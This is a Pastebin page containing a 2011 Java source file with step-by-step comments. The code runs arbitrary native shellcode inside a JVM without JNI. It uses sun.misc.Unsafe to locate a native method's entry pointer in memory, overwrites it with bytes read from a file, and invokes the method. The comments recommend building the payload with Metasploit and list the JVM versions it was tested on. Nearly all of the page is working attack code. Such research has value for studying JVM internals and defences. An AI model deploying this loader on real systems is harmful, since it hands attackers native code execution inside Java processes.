Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Running shellcode from Java without JNI (i. e. loading a DLL from disk).
- * (c) 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)
- *
- * Tested versions:
- * .---------------------------.---------.------------.---------.-----------------.
- * | JVM version | MA slot | Native Ptr | Raw RET | EXITFUNC thread |
- * |===========================|=========|============|=========|=================|
- * | Oracle 1.4.2 Win32 | 25 | 15 | C3 | Not supported |
- * | Oracle 1.5 Win32 | 29 | 14 | C3 | Not supported |
- * | Oracle 1.6 Win32 | 29 | 19 | C3 | Not supported |
- * |---------------------------|---------|------------|---------|-----------------|
- * | Oracle 1.6 Linux 32-bit | 28 | 19 | C3 | Not supported |
- * '---------------------------'---------'------------'---------'-----------------'
- *
- * How to test other versions:
- *
- * 1. Compile this class with settings supported by your target JVM (and
- * -target 1.1) and run it without arguments. It will examine the class fields
- * for candidates that might hold a pointer to the method array. The method
- * array is a Java array that contains one entry for each method, and this
- * entry contains a native pointer to its entry point (for native methods).
- * Therefore we first have to find the offset of this pointer. First filter
- * out all values that are most likely not pointers (too small, too "round",
- * etc.) In case you have a debugger handy, look at the remaining candidates.
- * A method array will start with jvm flags (usually 0x00000001), a pointer
- * to the array's element class object, its length (which should be equal to
- * the number printed above the candidate table), and a pointer to each of the
- * elements. The rest (up to an architecture-dependent size) is padded with
- * zeros. If you don't have a debugger handy, just try all of the candidates
- * in the next step until you get success.
- *
- * [Note: On Win32, the slots before the pointer are filled with 0,0,0(,0,1,0,0).]
- *
- * 2. Run the class with the (suspected) correct method array slot number as its
- * (only) argument. If the slot was wrong, the JVM will most likely print an
- * obscure error message or crash. If the slot was correct, it will dump the
- * fields of the method object inside the array. One of these fields is a
- * native pointer of the function (by default, on Windows, this points to a
- * stub method that throws an UnsatisfiedLinkError). So examine the pointers
- * until you found this method, or again just use trial and error in the next
- * step.
- *
- * [Note: On Win32, there is 0 and another pointer before it, and 0,0,1 after]
- *
- * 3. Run the class with two parameters, first the method array slot number from
- * step one, then the native pointer slot number from step two. It will try to
- * fill that pointer with 0x4141414141414141, therefore examine the (expected)
- * crash log if it crashes at that pointer. If you cannot examine the crash log,
- * just try the following steps with each other alternative. The first two
- * parameters have to be kept for all the following steps, there are only parameters
- * to be added.
- *
- * 4. Run the class with "raw C3" as the 3rd and 4th parameter (if your architecture
- * uses a different opcode for RET, replace it, e. g. "raw DE AD BE EF". This code
- * will be written into a freshly allocated memory region and the region's base
- * address will be used for the pointer. This time, the program should not crash,
- * but return, and print a success message as last step. Running it with
- * "threaded raw C3" should result in the same results.
- *
- * 5. Use Metasploit or similar to build a native shellcode for your platform,
- * using EXITFUNC = thread (or similar) - EXITFUNC = RET would be better. Now run
- * the class with "file /path/to/your/shellcode" as 3rd and 4th parameter, which
- * should result in execution of your shellcode, but probably a crash afterwards.
- * Try again with "threaded file /path/to/your/shellcode". On Windows, both variants
- * run the shellcode, but crash/hang afterwards, therefore the "Not Supported" in the
- * last column of the table. [The unthreaded approach kills the Java process on exit,
- * the threaded approach hangs forever.]
- *
- * 6. Fill in the table above and send it to me :-)
- */
- import java.io.File;
- import java.io.FileInputStream;
- import java.lang.reflect.Array;
- import java.lang.reflect.Field;
- import sun.misc.Unsafe;
- public class ShellcodeTest implements Runnable {
- private static int addressSize;
- public static void main(String[] args) throws Exception {
- // avoid Unsafe.class literal here since it may introduce
- // a synthetic method and disrupt our calculations.
- java.lang.reflect.Field unsafeField = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
- unsafeField.setAccessible(true);
- Unsafe unsafe = (Unsafe) unsafeField.get(null);
- addressSize = unsafe.addressSize();
- Class thisClass = Class.forName("ShellcodeTest");
- final int METHOD_COUNT = thisClass.getDeclaredMethods().length + 1;
- System.out.println("[*] Shellcode class has " + METHOD_COUNT + " methods.");
- Field staticField = thisClass.getDeclaredField("addressSize");
- Object staticFieldBase = unsafe.staticFieldBase(staticField);
- if (args.length == 0) {
- System.out.println("[*] Candidates for method array slot:");
- long staticFieldOffset = unsafe.staticFieldOffset(staticField);
- printStaticSlots(unsafe, staticFieldBase, staticFieldOffset);
- System.out.println("[*] Select method array slot now!");
- return;
- }
- long methodArraySlot = Integer.parseInt(args[0]);
- System.out.println("[*] Obtaining method array (slot " + methodArraySlot + ")");
- Object methodArray = unsafe.getObject(staticFieldBase, methodArraySlot * addressSize);
- int methodCount = Array.getLength(methodArray);
- if (methodCount != METHOD_COUNT) {
- System.out.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT);
- return;
- }
- System.out.println("[+] Successfully obtained method array");
- Field methodSlotField = Class.forName("java.lang.reflect.Method").getDeclaredField("slot");
- methodSlotField.setAccessible(true);
- int shellcodeMethodSlot = ((Integer) methodSlotField.get(thisClass.getDeclaredMethod("shellcode", new Class[0]))).intValue();
- System.out.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")");
- Object methodObject = Array.get(methodArray, shellcodeMethodSlot);
- System.out.println("[+] Successfully obtained method object");
- if (args.length == 1) {
- System.out.println("[*] Candidates for native pointer slot:");
- printStaticSlots(unsafe, methodObject, 30 * addressSize);
- System.out.println("[*] Select native pointer slot now!");
- return;
- }
- long nativePtrSlot = Integer.parseInt(args[1]);
- long nativePtrTarget;
- boolean useThread = false;
- int argOffset = 2;
- if (args.length > 2 && args[2].equals("threaded")) {
- argOffset++;
- useThread = true;
- }
- if (args.length == argOffset) {
- System.out.println("[*] Setting native pointer slot to 0x4141414141414141 (should crash at that address!)");
- nativePtrTarget = 0x4141414141414141L;
- } else {
- String mode = args[argOffset];
- argOffset++;
- if (mode.equals("raw")) { // raw c3
- nativePtrTarget = unsafe.allocateMemory(args.length - argOffset);
- for (int i = argOffset; i < args.length; i++) {
- unsafe.putByte(nativePtrTarget + i - argOffset, (byte) Integer.parseInt(args[i], 16));
- }
- } else if (mode.equals("file")) {
- File file = new File(args[argOffset]);
- nativePtrTarget = unsafe.allocateMemory(file.length());
- FileInputStream fis = new FileInputStream(file);
- int b;
- long ptr = nativePtrTarget;
- while ((b = fis.read()) != -1) {
- unsafe.putByte(ptr, (byte) b);
- ptr++;
- }
- } else {
- System.out.println("Unsupported mode: " + mode);
- return;
- }
- }
- System.out.println("[*] Trying to overwrite native method pointer (slot " + nativePtrSlot + ")");
- if (addressSize == 8)
- unsafe.putLong(methodObject, nativePtrSlot * addressSize, nativePtrTarget);
- else
- unsafe.putInt(methodObject, nativePtrSlot * addressSize, (int) nativePtrTarget);
- System.out.println("[+] Successfully overwritten native method pointer");
- if (useThread) {
- System.out.println("[*] Executing native method in thread");
- Thread thread = new Thread(new ShellcodeTest());
- thread.start();
- System.out.println("[*] Thread started");
- thread.join();
- System.out.println("[*] Thread successfully finished");
- } else {
- System.out.println("[*] Executing native method (drum roll...)");
- shellcode();
- System.out.println("[+] Executed native method and returned!");
- }
- }
- public void run() {
- try {
- shellcode();
- } catch (Throwable t) {
- t.printStackTrace();
- }
- }
- private static void printStaticSlots(Unsafe unsafe, Object object, long maxOffset) {
- for (long offset = 0; offset < maxOffset; offset += addressSize) {
- long value = addressSize == 8 ? unsafe.getLong(object, offset) : unsafe.getInt(object, offset) & 0xFFFFFFFFL;
- System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value));
- }
- }
- private static native void shellcode();
- }
Advertisement
Add Comment
Please, Sign In to add comment